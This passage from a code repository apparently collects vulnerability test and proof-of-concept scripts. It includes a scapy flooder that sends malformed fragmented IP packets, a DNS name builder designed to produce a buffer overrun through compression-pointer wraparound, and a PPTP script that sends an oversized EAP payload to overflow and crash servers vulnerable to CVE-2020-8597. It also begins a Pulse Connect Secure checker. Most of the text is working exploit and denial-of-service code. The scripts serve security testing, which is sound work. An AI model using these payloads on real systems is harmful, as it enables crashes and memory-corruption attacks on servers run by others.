31 | 32 | def vprint(*args, **kwargs): 33 | if VERBOSE_LEVEL > 0: 34 | print(*args, **kwargs) 35 | 36 | def send_benign(iface, ip_dst, udp_dport, udp_sport, count): 37 | global BENIGN_THREAD_FLAG 38 | 39 | benign_udp = IP(dst=ip_dst)/UDP(sport=udp_sport, dport=udp_dport)/BENIGN_PAYLOAD 40 | if count > 0: 41 | vprint("[*] sending {} benign udp packets".format(count if count > 0 else "infinite")) 42 | for _ in range(count): 43 | sock.send(benign_udp) 44 | else: 45 | while True: 46 | sock.send(benign_udp) 47 | if BENIGN_THREAD_FLAG: 48 | break 49 | vprint("[*] -> finish benign") 50 | 51 | 52 | def send_malformed(iface, ip_dst, udp_dport, udp_sport, count): 53 | global MALFORMED_THREAD_FLAG 54 | 55 | payload = MALFORMED_PAYLOAD 56 | iplen = 32 57 | encap_packet = IP(dst=ip_dst, len=iplen) 58 | encap_packet /= UDP(sport=udp_sport, dport=udp_dport, chksum=0, len=iplen-20) 59 | encap_packet /= payload 60 | 61 | frag1 = IP(dst=ip_dst, frag=0, flags=1, proto=4, id=0) 62 | frag1_data_len = 40 63 | frag1_data = bytes(encap_packet)[:frag1_data_len] 64 | frag1 /= frag1_data 65 | 66 | frag2 = IP(dst=ip_dst, frag=(frag1_data_len>>3), flags=0, proto=4, id=0) 67 | frag2 /= bytes(encap_packet)[frag1_data_len:] 68 | 69 | vprint("[*] sending {} malformed ip/udp packets".format(count if count > 0 else "infinite")) 70 | ip_id = 1 71 | it_num = 0 72 | while count <= 0 or it_num < count: 73 | frag1[IP].id = ip_id 74 | frag2[IP].id = ip_id 75 | 76 | sock.send(frag1) 77 | sock.send(frag2) 78 | 79 | it_num += 1 80 | ip_id = (ip_id + 1) % 0x10000 81 | 82 | if MALFORMED_THREAD_FLAG: 83 | break 84 | 85 | vprint("[*] -> finish malformed") 86 | 87 | 88 | def main(iface, ip_dst, udp_dport, udp_sport, malformed_count, benign_count, thread_count, timeout): 89 | global MALFORMED_THREAD_FLAG 90 | global BENIGN_THREAD_FLAG 91 | 92 | vprint("[+] interface: ", iface) 93 | vprint("[+] ip_dst: ", ip_dst) 94 | vprint("[+] udp destination port: ", udp_dport) 95 | vprint("[+] udp source port: ", udp_sport) 96 | 97 | vprint("[*] starting {} benign threads".format(thread_count)) 98 | bthreads = [] 99 | for _ in range(thread_count): 100 | t = threading.Thread(target=send_benign, 101 | args=(iface, ip_dst, udp_dport, udp_sport, benign_count)) 102 | bthreads.append(t) 103 | t.start() 104 | 105 | vprint("[*] starting malformed thread") 106 | malformed_thread = threading.Thread(target=send_malformed, 107 | args=(iface, ip_dst, udp_dport, udp_sport, malformed_count)) 108 | malformed_thread.start() 109 | 110 | if timeout > 0: 111 | time.sleep(timeout) 112 | MALFORMED_THREAD_FLAG = True 113 | BENIGN_THREAD_FLAG = True 114 | 115 | for t in bthreads: 116 | t.join() 117 | malformed_thread.join() 118 | vprint("[*] finish!") 119 | 120 | 121 | if __name__ == '__main__': 122 | conf.verb = 0 # make scapy silent 123 | 124 | parser = argparse.ArgumentParser() 125 | parser.add_argument('ip_dst', help="destination IP address") 126 | parser.add_argument('udp_dport', type=int, default=7, nargs='?', 127 | help="destination UDP port (Default: 7 (echo))") 128 | parser.add_argument('udp_sport', type=int, default=7, nargs='?', 129 | help="source UDP port (Default: 7 (echo))") 130 | parser.add_argument('-t', '--thread-count', dest='thread_count', type=int, default=3, 131 | help="benign thread count (Default: 3)") 132 | parser.add_argument('-mc', '--malformed-count', dest='malformed_count', type=int, default=0, 133 | help="how many malformed packets to send? (Default: 0, infinite)") 134 | parser.add_argument('-bc', '--benign-count', dest='benign_count', type=int, default=0, 135 | help="how many benign packets to send? (Default: 0, infinite)") 136 | parser.add_argument('-i', '--iface', default=None, nargs='?', 137 | help="interface name as shown in scapy's show_interfaces() function") 138 | parser.add_argument('-og', '--override-gateway', dest='gw', default=None, const='use_ip_dst', type=str, nargs='?', 139 | help='override gateway for ip_dst in scapy routing table') 140 | parser.add_argument('-v', '--verbose', default=0, action='count', 141 | help="how much output you'd like") 142 | parser.add_argument('--timeout', dest='timeout', type=int, default=10, 143 | help='timeout to break infinite loop (default: 10), put 0 to disable') 144 | args = parser.parse_args() 145 | 146 | VERBOSE_LEVEL = args.verbose 147 | 148 | gw = None 149 | if args.gw: 150 | if args.gw == 'use_ip_dst': 151 | gw = args.ip_dst 152 | else: 153 | gw = args.gw 154 | if gw: 155 | conf.route.add(host=(args.ip_dst), gw=gw) 156 | 157 | iface = args.iface 158 | if iface is not None and iface.isdigit(): 159 | iface = iface_win_index_to_description(int(iface)) 160 | 161 | sock = conf.L3socket(iface=iface) 162 | main(iface, 163 | args.ip_dst, 164 | args.udp_dport, 165 | args.udp_sport, 166 | args.malformed_count, 167 | args.benign_count, 168 | args.thread_count, 169 | args.timeout) -------------------------------------------------------------------------------- /vu-257161/scripts/dns_long_name.py: -------------------------------------------------------------------------------- 1 | # 2 | # This module contains helper functions for handling long DNS names, including compression. 3 | # 4 | from struct import pack 5 | 6 | N = 0x40 # maximum valid length in a domain name + 1; N must be a power of 2. 7 | 8 | def p8(x): 9 | return pack("B", x) 10 | 11 | def index_to_compression(idx): 12 | assert idx <= 0x3fff 13 | return pack("BB", 0xc0 | (idx >> 8), idx & 0xff) 14 | 15 | def label_length(buf, label_index): 16 | """ Calculate label length including compression. 17 | Returns a tuple: the total length and a boolean value indicating whether wrap-around condition has occurred. 18 | Note that this function incorrectly handles the case of a starting 0 length. 19 | This is intended, because the goal is to emulate the real-deal :) 20 | 21 | Example: 22 | print(label_length(b'\x03www\x06google\x03com\x00', 0)) # 15, False 23 | """ 24 | wraparound = False 25 | total_length = 0 26 | 27 | i = label_index 28 | length = buf[i] 29 | non_zero_length = True 30 | while non_zero_length: 31 | 32 | if (length & 0xc0) == 0: 33 | total_length = total_length + 1 + length 34 | wraparound = wraparound or total_length > 0xffff 35 | total_length &= 0xffff 36 | 37 | i = i + 1 + length 38 | i &= 0xffff 39 | else: 40 | new_index = (length & 0x3f) + buf[i+1] 41 | 42 | if new_index >= label_index: 43 | # bad compression 44 | return 0, False 45 | 46 | label_index = new_index 47 | i = label_index 48 | 49 | length = buf[i] 50 | non_zero_length = length != 0 51 | 52 | return total_length, wraparound 53 | 54 | def compression_fixup(buf, offset): 55 | """ Adds 'offset' to every compression in buf """ 56 | i = 0 57 | while (i + 1) < len(buf): 58 | if (buf[i] & 0xc0) == 0: 59 | i += 1 60 | else: 61 | current_ptr = (buf[i] & 0x3f) + buf[i+1] 62 | new_ptr = current_ptr + offset 63 | assert new_ptr <= 0x3fff, "new_ptr is too large" 64 | 65 | buf[i] = 0xc0 | (new_ptr >> 8) 66 | buf[i+1] = new_ptr & 0xff 67 | i += 2 68 | 69 | def print_buf(buf, columns=N, spare_count=0): 70 | """ hexdump of buf """ 71 | i = 0 72 | while i < len(buf) + spare_count: 73 | if i < spare_count: 74 | print("?? ", end='') 75 | else: 76 | print("%02x " % buf[i-spare_count], end='') 77 | if (i+1) % columns == 0: 78 | print() 79 | i += 1 80 | print() 81 | 82 | def get_basic_long_name(extra_rows=0xc): 83 | """ Generate long dns name using compression. """ 84 | 85 | buf = bytearray() 86 | for _ in range(extra_rows + 1): 87 | for _ in range(N): 88 | buf.append(N-1) 89 | 90 | buf[0] = 0x00 # so that the last compression would stop 91 | buf[len(buf) - N + 1] = N-2 # so that we would jump to the last compression 92 | 93 | compressions_per_row, current_compression = 1, 0 94 | while compressions_per_row < N: 95 | # c0 xx c0 xx ... 96 | last_ptr, ptr = 0, 0 97 | while ptr < compressions_per_row*2 and ptr < N: 98 | buf.append(0xc0) 99 | buf.append(current_compression) 100 | current_compression += 1 101 | ptr += 2 102 | 103 | # 3b 3c 3d 3e 104 | last_ptr = ptr 105 | while ptr - last_ptr < compressions_per_row*2 and ptr < N: 106 | buf.append(N-1-compressions_per_row*2 + ptr - last_ptr) 107 | ptr += 1 108 | 109 | # 3f 3f 3f 3f ... 110 | last_ptr = ptr 111 | while ptr - last_ptr < (N - compressions_per_row*4) and ptr < N: 112 | buf.append(N-1) 113 | ptr += 1 114 | 115 | compressions_per_row = compressions_per_row << 1 116 | 117 | return buf 118 | 119 | 120 | def build_long_name(alloc_length, overrun, offset_from_header, filler=b'A'): 121 | """ 122 | Args: 123 | - alloc_length: desired allocation length 124 | - overrun: bytes to overwrite 125 | """ 126 | assert len(overrun) <= 0x3f # TODO: support overrun of more than 0x3f 127 | 128 | long_name = get_basic_long_name() 129 | 130 | basic_length, is_overflow = label_length(long_name, 0x3f) 131 | i = 1 132 | while basic_length >= N and is_overflow: 133 | long_name[i] = 0 134 | basic_length, is_overflow = label_length(long_name, 0x3f) 135 | i += 1 136 | assert is_overflow 137 | 138 | aligned_offset_from_header = (offset_from_header + 0x3f) & ~0x3f 139 | difference = aligned_offset_from_header - offset_from_header 140 | assert difference == 0 or difference >= 3, "difference %d too short" % difference 141 | 142 | compression_fixup(long_name, aligned_offset_from_header) 143 | 144 | long_name_prefix = bytearray() 145 | if difference != 0: 146 | long_name_prefix.append(difference - 2) 147 | for _ in range(difference - 2): 148 | long_name_prefix.append(filler[0]) 149 | long_name_prefix.append(N - 1) 150 | 151 | long_name = long_name_prefix + long_name 152 | 153 | # build the reference to the long name, that will contain our overrun and should be position independent 154 | skip = 2 # number of rows to skip 155 | new_basic_length = basic_length - skip*N 156 | fill_length = - (len(overrun) + 1 + new_basic_length) 157 | assert fill_length == 0 or fill_length > 1 158 | 159 | ref_to_long_name = b'' 160 | ref_to_long_name += p8(alloc_length-1) + filler*(alloc_length-1) 161 | ref_to_long_name += p8(len(overrun)) + overrun 162 | while fill_length != 0: # this will cause overrun to stop... 163 | if fill_length <= N: 164 | ref_to_long_name += p8(fill_length - 1) + b'\x00'*(fill_length - 1) 165 | fill_length = 0 166 | elif fill_length == N + 1: 167 | ref_to_long_name += p8(N-2) + b'\x00'*(N-2) # N-1 168 | ref_to_long_name += p8(1) + b'\x00' 169 | fill_length = 0 170 | else: 171 | ref_to_long_name += p8(N-1) + b'\x00'*(N-1) 172 | fill_length -= N 173 | ref_to_long_name += index_to_compression(aligned_offset_from_header + N-1 + skip*N) 174 | 175 | return bytes(long_name), ref_to_long_name 176 | 177 | 178 | # long_name, ref_to_long_name = build_long_name(4, b'OVERRUN', 12) 179 | # print("long name: ") 180 | # print_buf(long_name, spare_count=12) 181 | # print("ref to long name: ") 182 | # print_buf(ref_to_long_name) -------------------------------------------------------------------------------- /cve-2020-8597-pptpd/pptp_poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from scapy.all import * 4 | import socket 5 | import sys 6 | import signal 7 | import os 8 | conf_ack_received = False 9 | conf_ack_sent = False 10 | debug = False 11 | 12 | if os.environ.get("DEBUG"): 13 | debug = True 14 | 15 | def pkt_callback(pkt): 16 | global gre_stream, server_conf_request, call_reply, conf_ack_received, conf_ack_sent, debug 17 | if debug: 18 | print("Received a GRE packet that shows continued conversation for EAP") 19 | pkt.show() 20 | if pkt.haslayer(PPP): 21 | if pkt.getlayer(PPP).proto == 49699 : # CHAP 0xc223 22 | conf_ack_received = True 23 | if debug: 24 | print("Received a CHAP challenge from peer ignoring") 25 | print("Assuming we received a Conf-Ack already") 26 | return 27 | if pkt.haslayer(EAP): 28 | if pkt.getlayer(EAP).code == 2 : 29 | #EAP Response received for the sent EAP request with bad payload 30 | if pkt.getlayer(EAP).type == 3: # If EAP-NaK recevied assume server is ok 31 | print("Server %s is likely NOT vulnerable " % (sys.argv[1])) 32 | sys.exit(0) 33 | if pkt.haslayer(PPP_LCP_Configure) : 34 | p_layer = pkt.getlayer(PPP_LCP_Configure) 35 | cid = p_layer.id 36 | if p_layer.code == 2: 37 | if debug: 38 | print("Received Conf ack we are all okay") 39 | conf_ack_received = True 40 | if conf_ack_sent == True: 41 | return 42 | else: 43 | sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0) 44 | if p_layer.code == 1: #config request 45 | if debug: 46 | print("Received another Config-Request, should reply this") 47 | pkt.show() 48 | server_conf_ack = gre_stream.sr1(GRE_PPTP(seqnum_present=1,call_id=call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+1)/ 49 | HDLC()/PPP()/ 50 | PPP_LCP_Configure(code=0x2,id=cid,options=pkt[IP][GRE_PPTP][PPP][PPP_LCP_Configure].options), verbose=debug) 51 | conf_ack_sent = True 52 | if conf_ack_received: 53 | sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0) 54 | 55 | if p_layer.code == 10 and p_layer.id == 4: # Echo-reply with id=1 56 | if debug: 57 | print("We received a Echo-Reply back for ID=4 ping request") 58 | print("Server %s is likely NOT vulnerable " % (sys.argv[1])) 59 | sys.exit(0) 60 | 61 | 62 | 63 | 64 | def handler(signum, frame): 65 | if debug: 66 | print("Timeout has expired") 67 | raise Exception('Timed out') 68 | 69 | 70 | if len(sys.argv) < 2: 71 | print("Usage %s PPTP_Server to test for CVE-2020-8597" %(sys.argv[0])); 72 | sys.exit(0) 73 | dst = sys.argv[1] 74 | #default pptp port 75 | dport = 1723 76 | 77 | print("Initiating communications with PPTP server %s " %(dst)) 78 | signal.signal(signal.SIGALRM, handler) 79 | #6 seconds for first TCP response 80 | signal.alarm(6) 81 | #TCP communications 82 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 83 | client.connect((dst, dport)) 84 | cstream = StreamSocket(client) 85 | 86 | 87 | # initialize PPTP session 88 | call_id = random.randint(1000,10000) 89 | vr=PPTPStartControlConnectionRequest(vendor_string="cananian") 90 | #This is due to a bug in PPTPStartControlConnectionRequest in scapy where 91 | #version and revision is not properly parsed. Fixes in scapy PR #2557 92 | #https://github.com/secdev/scapy/pull/2557 93 | #vr.protocol_version=256 94 | cstream.sr1(vr,verbose=debug) 95 | call_reply = cstream.sr1(PPTPOutgoingCallRequest(call_id=call_id),verbose=debug) 96 | # call_reply = PPTPOutgoingCallReply(call_reply) 97 | call_id = format(raw(call_reply[0])[12], '02x') + format(raw(call_reply[0])[13], '02x') 98 | print(call_id) 99 | call_id = int(call_id.encode('utf-8'),16) 100 | 101 | signal.alarm(0) 102 | #Another 6 seconds to do GRE connection 103 | signal.alarm(6) 104 | # GRE communications 105 | gre_socket = socket.socket(socket.AF_INET,socket.SOCK_RAW, socket.IPPROTO_GRE) 106 | gre_socket.connect((dst,dport)) 107 | gre_stream = SimpleSocket(gre_socket) 108 | #send configuration request 109 | 110 | server_conf_request = gre_stream.sr1(GRE_PPTP(seqnum_present=1,call_id=call_id)/ 111 | HDLC()/PPP()/ 112 | PPP_LCP_Configure(id=0x1,options=[ 113 | PPP_LCP_Magic_Number_Option(magic_number=0xaabbccdd) ]),verbose=debug) 114 | server_conf_request = IP(raw(server_conf_request)) 115 | 116 | 117 | signal.alarm(0) 118 | # give 9 seconds for configure ack to complete 119 | signal.alarm(9) 120 | tries = 0 121 | try: 122 | while conf_ack_received == False or tries < 9: 123 | sniff(iface="eth0",prn=pkt_callback,count=1,filter='proto gre and src host '+sys.argv[1],store=0) 124 | tries = tries + 1 125 | except: 126 | if debug: 127 | print("Never could recevie a configureation ack from peer due to Timeout") 128 | tries = 9 129 | if conf_ack_received == False and tries > 8: 130 | print("Remote system %s did not provide Configure-Acknowledgement - giving up" %(sys.argv[1])) 131 | print("Server %s is in UNKNOWN state" %(sys.argv[1])) 132 | sys.exit(0) 133 | signal.alarm(0) 134 | 135 | print("Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow") 136 | 137 | bad_pkt=GRE_PPTP(seqnum_present=1,call_id=call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+1)/PPP(proto=0xc227)/EAP_MD5(code=1,value_size=16,value='A'*16, optional_name='A'*1100) 138 | 139 | gre_stream.send(bad_pkt) 140 | 141 | #Look to see if we receive EAP_Nak that means buffer overflow did NOT succeed 142 | signal.alarm(3) 143 | try: 144 | sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0) 145 | except: 146 | print("Server %s is likely vulnerable, did not return anything after EAP packet " % (sys.argv[1])) 147 | sys.exit(0) 148 | print("Server %s is likely NOT vulnerable to buffer overflow" % (sys.argv[1])) 149 | signal.alarm(0) 150 | 151 | print("Verifying peer %s one more time using a Echo request to the peer " % (sys.argv[1])) 152 | signal.alarm(3) 153 | #echo request to test if PPP interface is still alive - that means we didnt crash the remote 154 | #pptp server with the bad payload 155 | gre_stream.send(GRE_PPTP(seqnum_present=1,call_id=call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+2)/ 156 | HDLC()/PPP()/ 157 | PPP_LCP_Configure(code=0x9,id=4)) 158 | 159 | 160 | try: 161 | PPP_Alive = sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0) 162 | except: 163 | print("Did not received PPP Echo Reply, check the logs on the server to verify status") 164 | sys.exit(0) 165 | 166 | print("Received a normal PPP Echo Reply, System is mostly likely NOT vulnerable") 167 | 168 | sys.exit(0) 169 | 170 | -------------------------------------------------------------------------------- /cve-2021-22908/cve-2021-22908.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Utility to check for Pulse Connect Secure CVE-2021-22908 3 | # https://www.kb.cert.org/vuls/id/667933 4 | 5 | import requests 6 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 7 | import argparse 8 | import sys 9 | from html.parser import HTMLParser 10 | import getpass 11 | 12 | parser = argparse.ArgumentParser(description='Pulse Connect Secure CVE-2021-22908') 13 | parser.add_argument('host', type=str, help='PCS IP or hostname)') 14 | parser.add_argument('-u', '--user', dest='user', type=str, help='username') 15 | parser.add_argument('-p', '--pass', dest='password', type=str, help='password') 16 | parser.add_argument('-r', '--realm', dest='realm', type=str, help='realm') 17 | parser.add_argument('-d', '--dsid', dest='dsid', type=str, help='DSID') 18 | parser.add_argument('-x', '--xsauth', dest='xsauth', type=str, help='xsauth') 19 | parser.add_argument('-n', '--noauth', action='store_true', help='Do not authenticate. Only check for XML workaround') 20 | 21 | args = parser.parse_args() 22 | 23 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 24 | 25 | class formvaluefinder(HTMLParser): 26 | def __init__(self, searchval): 27 | super(type (self), self).__init__() 28 | self.searchval = searchval 29 | def handle_starttag(self, tag, attrs): 30 | if tag == 'input': 31 | # We're just looking for form tags 32 | foundelement = False 33 | for attr in attrs: 34 | if(attr[0] == 'name'): 35 | if(attr[1] == self.searchval): 36 | foundelement = True 37 | elif(attr[0] == 'value' and foundelement == True): 38 | self.data = attr[1] 39 | 40 | class preauthfinder(HTMLParser): 41 | foundelement = False 42 | def handle_starttag(self, tag, attrs): 43 | if tag == 'textarea': 44 | # We're just looking for